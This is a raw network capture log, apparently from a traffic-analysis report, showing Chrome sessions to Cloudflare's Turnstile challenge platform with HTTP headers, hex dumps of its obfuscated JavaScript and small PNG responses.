d[hu(370)](C,I);K<<=1,L==d[hu(338)](o,1)?(L=0,J[hu(1546)](d[hu(1233)](s,K)),K=0):L++,C++);for(P=F[hu(1554)](0),C=0;d[hu(747)](8,C);K=d[hu(893)](K<<1,P&1.27),o-1==L?(L=0,J[hu(1546)](s(K)),K=0):L++,P>>=1,C++);}else{for(P=1,C=0;d[hu(1722)](C,I);K=d[hu(893)](
2025-01-15 12:08:20 UTC	1369	IN	Data Raw: 43 2b 2b 29 3b 47 2d 2d 2c 47 3d 3d 30 26 26 49 2b 2b 7d 66 6f 72 28 50 3d 32 2c 43 3d 30 3b 43 3c 49 3b 4b 3d 64 5b 68 75 28 31 35 36 38 29 5d 28 4b 2c 31 29 7c 31 26 50 2c 64 5b 68 75 28 31 31 33 30 29 5d 28 4c 2c 64 5b 68 75 28 31 30 36 31 29 5d 28 6f 2c 31 29 29 3f 28 4c 3d 30 2c 4a 5b 68 75 28 31 35 34 36 29 5d 28 73 28 4b 29 29 2c 4b 3d 30 29 3a 4c 2b 2b 2c 50 3e 3e 3d 31 2c 43 2b 2b 29 3b 66 6f 72 28 3b 3b 29 69 66 28 4b 3c 3c 3d 31 2c 64 5b 68 75 28 34 32 39 29 5d 28 4c 2c 64 5b 68 75 28 33 33 38 29 5d 28 6f 2c 31 29 29 29 7b 4a 5b 68 75 28 31 35 34 36 29 5d 28 73 28 4b 29 29 3b 62 72 65 61 6b 7d 65 6c 73 65 20 4c 2b 2b 3b 72 65 74 75 72 6e 20 4a 5b 68 75 28 31 33 39 36 29 5d 28 27 27 29 7d 2c 27 6a 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 68 76 29 Data Ascii: C++);G--,G==0&&I++}for(P=2,C=0;C<I;K=d[hu(1568)](K,1)\|1&P,d[hu(1130)](L,d[hu(1061)](o,1))?(L=0,J[hu(1546)](s(K)),K=0):L++,P>>=1,C++);for(;;)if(K<<=1,d[hu(429)](L,d[hu(338)](o,1))){J[hu(1546)](s(K));break}else L++;return J[hu(1396)]('')},'j':function(h,hv)
2025-01-15 12:08:20 UTC	1369	IN	Data Raw: 66 6f 72 28 4a 3d 30 2c 4b 3d 4d 61 74 68 5b 68 78 28 31 33 31 33 29 5d 28 32 2c 31 36 29 2c 46 3d 31 3b 46 21 3d 4b 3b 4c 3d 48 26 47 2c 48 3e 3e 3d 31 2c 64 5b 68 78 28 31 36 38 33 29 5d 28 30 2c 48 29 26 26 28 48 3d 6a 2c 47 3d 64 5b 68 78 28 34 34 32 29 5d 28 6f 2c 49 2b 2b 29 29 2c 4a 7c 3d 64 5b 68 78 28 35 38 37 29 5d 28 30 3c 4c 3f 31 3a 30 2c 46 29 2c 46 3c 3c 3d 31 29 3b 73 5b 42 2b 2b 5d 3d 64 5b 68 78 28 31 35 37 38 29 5d 28 65 2c 4a 29 2c 4d 3d 64 5b 68 78 28 33 39 31 29 5d 28 42 2c 31 29 2c 78 2d 2d 3b 62 72 65 61 6b 3b 63 61 73 65 20 32 3a 72 65 74 75 72 6e 20 44 5b 68 78 28 31 33 39 36 29 5d 28 27 27 29 7d 69 66 28 64 5b 68 78 28 34 32 39 29 5d 28 30 2c 78 29 26 26 28 78 3d 4d 61 74 68 5b 68 78 28 31 33 31 33 29 5d 28 32 2c 43 29 2c 43 2b Data Ascii: for(J=0,K=Math[hx(1313)](2,16),F=1;F!=K;L=H&G,H>>=1,d[hx(1683)](0,H)&&(H=j,G=d[hx(442)](o,I++)),J\|=d[hx(587)](0<L?1:0,F),F<<=1);s[B++]=d[hx(1578)](e,J),M=d[hx(391)](B,1),x--;break;case 2:return D[hx(1396)]('')}if(d[hx(429)](0,x)&&(x=Math[hx(1313)](2,C),C+
2025-01-15 12:08:20 UTC	1369	IN	Data Raw: 3b 47 5b 48 5d 3d 3d 3d 47 5b 6f 5b 69 65 28 35 30 33 29 5d 28 48 2c 31 29 5d 3f 47 5b 69 65 28 35 39 34 29 5d 28 6f 5b 69 65 28 35 35 34 29 5d 28 48 2c 31 29 2c 31 29 3a 48 2b 3d 31 29 3b 72 65 74 75 72 6e 20 47 7d 28 78 29 2c 42 3d 27 6e 41 73 41 61 41 62 27 2e 73 70 6c 69 74 28 27 41 27 29 2c 42 3d 42 5b 69 62 28 37 36 35 29 5d 5b 69 62 28 31 35 35 31 29 5d 28 42 29 2c 43 3d 30 3b 43 3c 78 5b 69 62 28 31 35 32 34 29 5d 3b 44 3d 78 5b 43 5d 2c 45 3d 6f 5b 69 62 28 36 34 32 29 5d 28 66 79 2c 67 2c 68 2c 44 29 2c 42 28 45 29 3f 28 46 3d 6f 5b 69 62 28 33 39 37 29 5d 28 27 73 27 2c 45 29 26 26 21 67 5b 69 62 28 31 34 32 32 29 5d 28 68 5b 44 5d 29 2c 69 62 28 31 31 34 30 29 3d 3d 3d 6f 5b 69 62 28 35 30 33 29 5d 28 69 2c 44 29 3f 73 28 69 2b 44 2c 45 29 3a Data Ascii: ;G[H]===G[o[ie(503)](H,1)]?G[ie(594)](o[ie(554)](H,1),1):H+=1);return G}(x),B='nAsAaAb'.split('A'),B=B[ib(765)][ib(1551)](B),C=0;C<x[ib(1524)];D=x[C],E=o[ib(642)](fy,g,h,D),B(E)?(F=o[ib(397)]('s',E)&&!g[ib(1422)](h[D]),ib(1140)===o[ib(503)](i,D)?s(i+D,E):
2025-01-15 12:08:20 UTC	1369	IN	Data Raw: 3d 30 3b 6b 5b 69 67 28 33 36 35 29 5d 28 6d 2c 6c 5b 69 67 28 31 35 32 34 29 5d 29 3b 6d 2b 2b 29 69 66 28 6e 3d 6c 5b 6d 5d 2c 6b 5b 69 67 28 39 35 36 29 5d 28 27 66 27 2c 6e 29 26 26 28 6e 3d 27 4e 27 29 2c 68 5b 6e 5d 29 7b 66 6f 72 28 6f 3d 30 3b 6f 3c 69 5b 6c 5b 6d 5d 5d 5b 69 67 28 31 35 32 34 29 5d 3b 2d 31 3d 3d 3d 68 5b 6e 5d 5b 69 67 28 36 39 33 29 5d 28 69 5b 6c 5b 6d 5d 5d 5b 6f 5d 29 26 26 28 66 42 28 69 5b 6c 5b 6d 5d 5d 5b 6f 5d 29 7c 7c 68 5b 6e 5d 5b 69 67 28 31 35 34 36 29 5d 28 6b 5b 69 67 28 31 32 34 36 29 5d 28 27 6f 2e 27 2c 69 5b 6c 5b 6d 5d 5d 5b 6f 5d 29 29 29 2c 6f 2b 2b 29 3b 7d 65 6c 73 65 20 68 5b 6e 5d 3d 69 5b 6c 5b 6d 5d 5d 5b 69 67 28 31 33 35 37 29 5d 28 66 75 6e 63 74 69 6f 6e 28 73 2c 69 68 2c 76 2c 78 2c 43 29 7b 69 Data Ascii: =0;k[ig(365)](m,l[ig(1524)]);m++)if(n=l[m],k[ig(956)]('f',n)&&(n='N'),h[n]){for(o=0;o<i[l[m]][ig(1524)];-1===h[n][ig(693)](i[l[m]][o])&&(fB(i[l[m]][o])\|\|h[n][ig(1546)](k[ig(1246)]('o.',i[l[m]][o]))),o++);}else h[n]=i[l[m]][ig(1357)](function(s,ih,v,x,C){i
2025-01-15 12:08:20 UTC	1369	IN	Data Raw: 7b 6b 3d 28 69 6d 3d 67 4a 2c 6a 3d 7b 7d 2c 6a 5b 69 6d 28 31 34 34 36 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 47 2c 48 29 7b 72 65 74 75 72 6e 20 47 20 69 6e 73 74 61 6e 63 65 6f 66 20 48 7d 2c 6a 5b 69 6d 28 34 36 32 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 47 2c 48 29 7b 72 65 74 75 72 6e 20 47 21 3d 3d 48 7d 2c 6a 5b 69 6d 28 31 36 33 33 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 47 2c 48 29 7b 72 65 74 75 72 6e 20 47 7c 7c 48 7d 2c 6a 5b 69 6d 28 31 31 33 32 29 5d 3d 69 6d 28 31 31 30 38 29 2c 6a 5b 69 6d 28 31 35 33 31 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 47 2c 48 29 7b 72 65 74 75 72 6e 20 47 2b 48 7d 2c 6a 5b 69 6d 28 35 36 30 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 47 2c 48 29 7b 72 65 74 75 72 6e 20 47 2b 48 7d 2c 6a 5b 69 6d 28 31 31 35 37 29 5d 3d 69 6d 28 31 37 Data Ascii: {k=(im=gJ,j={},j[im(1446)]=function(G,H){return G instanceof H},j[im(462)]=function(G,H){return G!==H},j[im(1633)]=function(G,H){return G\|\|H},j[im(1132)]=im(1108),j[im(1531)]=function(G,H){return G+H},j[im(560)]=function(G,H){return G+H},j[im(1157)]=im(17

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.4	49787	104.18.94.41	443	332	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 12:08:20 UTC	739	OUT	GET /cdn-cgi/challenge-platform/h/b/cmg/1 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/rufw6/0x4AAAAAAA5J_zo6B27ku3kM/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-15 12:08:20 UTC	240	IN	HTTP/1.1 200 OK Date: Wed, 15 Jan 2025 12:08:20 GMT Content-Type: image/png Content-Length: 61 Connection: close cache-control: max-age=2629800, public Server: cloudflare CF-RAY: 9025c025fa8641ef-EWR alt-svc: h3=":443"; ma=86400
2025-01-15 12:08:20 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 02 00 00 00 02 08 02 00 00 00 fd d4 9a 73 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRsIDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.4	49788	104.18.94.41	443	332	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 12:08:20 UTC	385	OUT	GET /cdn-cgi/challenge-platform/h/b/cmg/1 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-15 12:08:20 UTC	240	IN	HTTP/1.1 200 OK Date: Wed, 15 Jan 2025 12:08:20 GMT Content-Type: image/png Content-Length: 61 Connection: close cache-control: max-age=2629800, public Server: cloudflare CF-RAY: 9025c029e899efa3-EWR alt-svc: h3=":443"; ma=86400
2025-01-15 12:08:20 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 02 00 00 00 02 08 02 00 00 00 fd d4 9a 73 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRsIDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.4	49789	104.18.94.41	443	332	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 12:08:20 UTC	433	OUT	GET /cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=9025c0217ef90f85&lang=auto HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-15 12:08:20 UTC	331	IN	HTTP/1.1 200 OK Date: Wed, 15 Jan 2025 12:08:20 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 120420 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Server: cloudflare CF-RAY: 9025c02addf87cae-EWR alt-svc: h3=":443"; ma=86400
2025-01-15 12:08:20 UTC	1038	IN	Data Raw: 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 75 61 4f 3d 66 61 6c 73 65 3b 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 55 52 61 4f 61 38 3d 7b 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 63 68 61 6c 6c 65 6e 67 65 2e 70 72 69 76 61 63 79 5f 6c 69 6e 6b 22 3a 22 68 74 74 70 73 25 33 41 25 32 46 25 32 46 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 32 46 70 72 69 76 61 63 79 70 6f 6c 69 63 79 25 32 46 22 2c 22 63 68 61 6c 6c 65 6e 67 65 2e 74 65 72 6d 73 22 3a 22 68 74 74 70 73 25 33 41 25 32 46 25 32 46 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 32 46 77 65 62 73 69 74 65 2d 74 65 72 6d 73 25 32 46 22 2c 22 63 68 61 6c 6c 65 6e 67 65 2e 73 75 70 70 6f 72 74 65 64 5f 62 72 6f 77 73 65 72 73 22 3a 22 68 74 74 70 Data Ascii: window._cf_chl_opt.uaO=false;window._cf_chl_opt.URaOa8={"metadata":{"challenge.privacy_link":"https%3A%2F%2Fwww.cloudflare.com%2Fprivacypolicy%2F","challenge.terms":"https%3A%2F%2Fwww.cloudflare.com%2Fwebsite-terms%2F","challenge.supported_browsers":"http
2025-01-15 12:08:20 UTC	1369	IN	Data Raw: 6c 65 5f 6f 76 65 72 72 75 6e 5f 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 53 74 75 63 6b 25 32 30 68 65 72 65 25 33 46 22 2c 22 74 75 72 6e 73 74 69 6c 65 5f 66 65 65 64 62 61 63 6b 5f 72 65 70 6f 72 74 22 3a 22 48 61 76 69 6e 67 25 32 30 74 72 6f 75 62 6c 65 25 33 46 22 2c 22 74 75 72 6e 73 74 69 6c 65 5f 73 75 63 63 65 73 73 22 3a 22 53 75 63 63 65 73 73 25 32 31 22 2c 22 74 65 73 74 69 6e 67 5f 6f 6e 6c 79 22 3a 22 54 65 73 74 69 6e 67 25 32 30 6f 6e 6c 79 2e 22 2c 22 74 75 72 6e 73 74 69 6c 65 5f 74 69 6d 65 6f 75 74 22 3a 22 54 69 6d 65 64 25 32 30 6f 75 74 22 2c 22 74 75 72 6e 73 74 69 6c 65 5f 66 65 65 64 62 61 63 6b 5f 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 53 65 6e 64 25 32 30 46 65 65 64 62 61 63 6b 22 2c 22 74 75 72 6e 73 74 69 6c 65 5f 69 Data Ascii: le_overrun_description":"Stuck%20here%3F","turnstile_feedback_report":"Having%20trouble%3F","turnstile_success":"Success%21","testing_only":"Testing%20only.","turnstile_timeout":"Timed%20out","turnstile_feedback_description":"Send%20Feedback","turnstile_i
2025-01-15 12:08:20 UTC	1369	IN	Data Raw: 2c 66 58 2c 67 34 2c 67 61 2c 67 62 2c 67 42 2c 67 43 2c 67 47 2c 67 48 2c 67 38 2c 67 39 29 7b 66 6f 72 28 67 4a 3d 62 2c 66 75 6e 63 74 69 6f 6e 28 63 2c 64 2c 67 49 2c 65 2c 66 29 7b 66 6f 72 28 67 49 3d 62 2c 65 3d 63 28 29 3b 21 21 5b 5d 3b 29 74 72 79 7b 69 66 28 66 3d 70 61 72 73 65 49 6e 74 28 67 49 28 36 39 37 29 29 2f 31 2b 2d 70 61 72 73 65 49 6e 74 28 67 49 28 31 31 38 34 29 29 2f 32 2a 28 70 61 72 73 65 49 6e 74 28 67 49 28 36 33 32 29 29 2f 33 29 2b 70 61 72 73 65 49 6e 74 28 67 49 28 35 34 37 29 29 2f 34 2b 70 61 72 73 65 49 6e 74 28 67 49 28 31 34 39 31 29 29 2f 35 2a 28 2d 70 61 72 73 65 49 6e 74 28 67 49 28 38 39 34 29 29 2f 36 29 2b 2d 70 61 72 73 65 49 6e 74 28 67 49 28 31 32 39 35 29 29 2f 37 2a 28 70 61 72 73 65 49 6e 74 28 67 49 28 Data Ascii: ,fX,g4,ga,gb,gB,gC,gG,gH,g8,g9){for(gJ=b,function(c,d,gI,e,f){for(gI=b,e=c();!![];)try{if(f=parseInt(gI(697))/1+-parseInt(gI(1184))/2(parseInt(gI(632))/3)+parseInt(gI(547))/4+parseInt(gI(1491))/5(-parseInt(gI(894))/6)+-parseInt(gI(1295))/7*(parseInt(gI(
2025-01-15 12:08:20 UTC	1369	IN	Data Raw: 59 56 54 47 79 27 3a 67 4b 28 31 31 37 33 29 2c 27 48 59 64 77 4c 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 69 3d 3d 68 7d 2c 27 53 55 70 4e 67 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 69 21 3d 68 7d 2c 27 56 49 4b 7a 7a 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 28 69 29 7d 2c 27 68 6c 52 76 6c 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 69 3d 3d 68 7d 2c 27 54 71 51 42 52 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 28 69 29 7d 2c 27 6e 78 48 58 58 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 2a 69 7d 2c 27 50 4d 6a 78 43 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 Data Ascii: YVTGy':gK(1173),'HYdwL':function(h,i){return i==h},'SUpNg':function(h,i){return i!=h},'VIKzz':function(h,i){return h(i)},'hlRvl':function(h,i){return i==h},'TqQBR':function(h,i){return h(i)},'nxHXX':function(h,i){return h*i},'PMjxC':function(h,i){return h
2025-01-15 12:08:20 UTC	1369	IN	Data Raw: 49 2b 2b 2c 4d 3e 3e 3d 31 2c 73 2b 2b 29 3b 7d 44 2d 2d 2c 44 3d 3d 30 26 26 28 44 3d 4d 61 74 68 5b 67 4d 28 38 38 36 29 5d 28 32 2c 46 29 2c 46 2b 2b 29 2c 64 65 6c 65 74 65 20 42 5b 43 5d 7d 65 6c 73 65 20 66 6f 72 28 4d 3d 78 5b 43 5d 2c 73 3d 30 3b 64 5b 67 4d 28 31 32 30 34 29 5d 28 73 2c 46 29 3b 48 3d 48 3c 3c 31 7c 64 5b 67 4d 28 31 31 39 36 29 5d 28 4d 2c 31 29 2c 49 3d 3d 6a 2d 31 3f 28 49 3d 30 2c 47 5b 67 4d 28 31 38 33 29 5d 28 6f 28 48 29 29 2c 48 3d 30 29 3a 49 2b 2b 2c 4d 3e 3e 3d 31 2c 73 2b 2b 29 3b 43 3d 28 44 2d 2d 2c 30 3d 3d 44 26 26 28 44 3d 4d 61 74 68 5b 67 4d 28 38 38 36 29 5d 28 32 2c 46 29 2c 46 2b 2b 29 2c 78 5b 4c 5d 3d 45 2b 2b 2c 53 74 72 69 6e 67 28 4b 29 29 7d 69 66 28 64 5b 67 4d 28 38 38 31 29 5d 28 27 27 2c 43 29 29 Data Ascii: I++,M>>=1,s++);}D--,D==0&&(D=Math[gM(886)](2,F),F++),delete B[C]}else for(M=x[C],s=0;d[gM(1204)](s,F);H=H<<1\|d[gM(1196)](M,1),I==j-1?(I=0,G[gM(183)](o(H)),H=0):I++,M>>=1,s++);C=(D--,0==D&&(D=Math[gM(886)](2,F),F++),x[L]=E++,String(K))}if(d[gM(881)]('',C))
2025-01-15 12:08:20 UTC	1369	IN	Data Raw: 66 75 6e 63 74 69 6f 6e 28 69 2c 6a 2c 6f 2c 67 50 2c 73 2c 78 2c 42 2c 43 2c 44 2c 45 2c 46 2c 47 2c 48 2c 49 2c 4a 2c 4b 2c 4d 2c 4c 29 7b 66 6f 72 28 67 50 3d 67 4b 2c 73 3d 5b 5d 2c 78 3d 34 2c 42 3d 34 2c 43 3d 33 2c 44 3d 5b 5d 2c 47 3d 6f 28 30 29 2c 48 3d 6a 2c 49 3d 31 2c 45 3d 30 3b 33 3e 45 3b 73 5b 45 5d 3d 45 2c 45 2b 3d 31 29 3b 66 6f 72 28 4a 3d 30 2c 4b 3d 4d 61 74 68 5b 67 50 28 38 38 36 29 5d 28 32 2c 32 29 2c 46 3d 31 3b 64 5b 67 50 28 31 34 31 38 29 5d 28 46 2c 4b 29 3b 4c 3d 47 26 48 2c 48 3e 3e 3d 31 2c 30 3d 3d 48 26 26 28 48 3d 6a 2c 47 3d 6f 28 49 2b 2b 29 29 2c 4a 7c 3d 46 2a 28 30 3c 4c 3f 31 3a 30 29 2c 46 3c 3c 3d 31 29 3b 73 77 69 74 63 68 28 4a 29 7b 63 61 73 65 20 30 3a 66 6f 72 28 4a 3d 30 2c 4b 3d 4d 61 74 68 5b 67 50 28 Data Ascii: function(i,j,o,gP,s,x,B,C,D,E,F,G,H,I,J,K,M,L){for(gP=gK,s=[],x=4,B=4,C=3,D=[],G=o(0),H=j,I=1,E=0;3>E;s[E]=E,E+=1);for(J=0,K=Math[gP(886)](2,2),F=1;d[gP(1418)](F,K);L=G&H,H>>=1,0==H&&(H=j,G=o(I++)),J\|=F*(0<L?1:0),F<<=1);switch(J){case 0:for(J=0,K=Math[gP(
2025-01-15 12:08:20 UTC	1369	IN	Data Raw: 6e 20 67 28 68 29 7d 7d 29 3b 74 72 79 7b 72 65 74 75 72 6e 20 65 52 28 63 29 7d 63 61 74 63 68 28 67 29 7b 72 65 74 75 72 6e 20 65 5b 68 30 28 31 35 35 31 29 5d 28 65 50 2c 65 51 28 63 29 29 7d 7d 2c 65 4d 5b 67 4a 28 36 39 34 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 68 31 2c 64 2c 65 2c 66 2c 67 29 7b 68 31 3d 67 4a 2c 64 3d 7b 7d 2c 64 5b 68 31 28 39 32 33 29 5d 3d 68 31 28 31 35 39 33 29 2c 64 5b 68 31 28 38 31 36 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 69 2a 68 7d 2c 64 5b 68 31 28 34 33 31 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3c 3c 69 7d 2c 65 3d 64 2c 66 3d 31 2c 67 3d 65 5b 68 31 28 38 31 36 29 5d 28 31 65 33 2c 65 4d 5b 68 31 28 31 31 33 38 29 5d 5b 68 31 28 33 37 37 29 5d 28 65 5b Data Ascii: n g(h)}});try{return eR(c)}catch(g){return e[h0(1551)](eP,eQ(c))}},eM[gJ(694)]=function(h1,d,e,f,g){h1=gJ,d={},d[h1(923)]=h1(1593),d[h1(816)]=function(h,i){return i*h},d[h1(431)]=function(h,i){return h<<i},e=d,f=1,g=e[h1(816)](1e3,eM[h1(1138)][h1(377)](e[
2025-01-15 12:08:20 UTC	1369	IN	Data Raw: 68 33 28 31 32 35 34 29 5d 29 3b 63 6f 6e 74 69 6e 75 65 3b 63 61 73 65 27 38 27 3a 69 66 28 21 43 29 72 65 74 75 72 6e 3b 63 6f 6e 74 69 6e 75 65 3b 63 61 73 65 27 39 27 3a 43 5b 68 33 28 33 30 35 29 5d 28 69 5b 68 33 28 31 30 34 37 29 5d 28 69 5b 68 33 28 31 34 34 37 29 5d 28 27 76 5f 27 2c 65 4d 5b 68 33 28 34 34 31 29 5d 5b 68 33 28 31 34 36 33 29 5d 29 2b 27 3d 27 2c 6f 29 29 3b 63 6f 6e 74 69 6e 75 65 3b 63 61 73 65 27 31 30 27 3a 42 3d 28 78 3d 7b 7d 2c 78 5b 68 33 28 31 34 39 38 29 5d 3d 66 2c 78 5b 68 33 28 31 35 38 38 29 5d 3d 73 2c 78 2e 63 63 3d 67 2c 78 5b 68 33 28 39 34 34 29 5d 3d 6d 2c 78 5b 68 33 28 31 30 38 33 29 5d 3d 45 2c 4a 53 4f 4e 5b 68 33 28 31 30 36 34 29 5d 28 78 29 29 3b 63 6f 6e 74 69 6e 75 65 3b 63 61 73 65 27 31 31 27 3a 43 Data Ascii: h3(1254)]);continue;case'8':if(!C)return;continue;case'9':C[h3(305)](i[h3(1047)](i[h3(1447)]('v_',eM[h3(441)][h3(1463)])+'=',o));continue;case'10':B=(x={},x[h3(1498)]=f,x[h3(1588)]=s,x.cc=g,x[h3(944)]=m,x[h3(1083)]=E,JSON[h3(1064)](x));continue;case'11':C
2025-01-15 12:08:20 UTC	1369	IN	Data Raw: 38 38 29 5d 3d 68 36 28 31 39 38 29 2c 6b 3d 6a 2c 6c 3d 65 5b 68 36 28 36 36 32 29 5d 28 29 2c 6d 3d 68 36 28 38 37 30 29 2c 6b 5b 68 36 28 33 38 30 29 5d 28 6c 5b 68 36 28 37 34 39 29 5d 28 6d 29 2c 2d 31 29 29 65 4d 5b 68 36 28 35 35 35 29 5d 28 66 75 6e 63 74 69 6f 6e 28 68 37 29 7b 68 37 3d 68 36 2c 65 4d 5b 68 37 28 36 39 34 29 5d 28 29 7d 2c 31 65 33 29 3b 65 6c 73 65 20 69 66 28 68 36 28 33 30 39 29 3d 3d 3d 6b 5b 68 36 28 31 30 38 38 29 5d 29 72 65 74 75 72 6e 20 74 68 69 73 5b 68 36 28 31 32 36 30 29 5d 3b 65 6c 73 65 20 6e 3d 7b 7d 2c 6e 5b 68 36 28 31 30 33 31 29 5d 3d 65 2c 6e 5b 68 36 28 38 37 33 29 5d 3d 66 2c 6e 5b 68 36 28 34 34 36 29 5d 3d 67 2c 6e 5b 68 36 28 31 32 33 38 29 5d 3d 68 2c 6e 5b 68 36 28 31 32 35 34 29 5d 3d 69 2c 6f 3d 6e Data Ascii: 88)]=h6(198),k=j,l=e[h6(662)](),m=h6(870),k[h6(380)](l[h6(749)](m),-1))eM[h6(555)](function(h7){h7=h6,eM[h7(694)]()},1e3);else if(h6(309)===k[h6(1088)])return this[h6(1260)];else n={},n[h6(1031)]=e,n[h6(873)]=f,n[h6(446)]=g,n[h6(1238)]=h,n[h6(1254)]=i,o=n
2025-01-15 12:08:20 UTC	1369	IN	Data Raw: 4c 2c 66 57 5b 67 4a 28 37 37 31 29 5d 3d 66 52 2c 66 57 5b 67 4a 28 36 32 36 29 5d 3d 66 4f 2c 66 57 5b 67 4a 28 39 37 34 29 5d 3d 66 4e 2c 66 57 5b 67 4a 28 37 35 36 29 5d 3d 66 63 2c 66 57 5b 67 4a 28 31 32 33 37 29 5d 3d 66 4a 2c 66 57 5b 67 4a 28 37 34 36 29 5d 3d 66 49 2c 66 57 5b 67 4a 28 34 39 38 29 5d 3d 66 33 2c 66 57 5b 67 4a 28 31 34 37 35 29 5d 3d 66 34 2c 66 57 5b 67 4a 28 36 32 34 29 5d 3d 66 71 2c 66 57 5b 67 4a 28 31 32 32 38 29 5d 3d 66 73 2c 66 57 5b 67 4a 28 34 32 39 29 5d 3d 66 72 2c 66 57 5b 67 4a 28 32 39 30 29 5d 3d 66 43 2c 66 57 5b 67 4a 28 31 32 38 39 29 5d 3d 66 42 2c 66 57 5b 67 4a 28 31 34 33 39 29 5d 3d 66 41 2c 66 57 5b 67 4a 28 39 33 39 29 5d 3d 66 7a 2c 66 57 5b 67 4a 28 31 32 33 36 29 5d 3d 66 6b 2c 66 57 5b 67 4a 28 31 Data Ascii: L,fW[gJ(771)]=fR,fW[gJ(626)]=fO,fW[gJ(974)]=fN,fW[gJ(756)]=fc,fW[gJ(1237)]=fJ,fW[gJ(746)]=fI,fW[gJ(498)]=f3,fW[gJ(1475)]=f4,fW[gJ(624)]=fq,fW[gJ(1228)]=fs,fW[gJ(429)]=fr,fW[gJ(290)]=fC,fW[gJ(1289)]=fB,fW[gJ(1439)]=fA,fW[gJ(939)]=fz,fW[gJ(1236)]=fk,fW[gJ(1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.4	49790	188.114.96.3	443	332	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
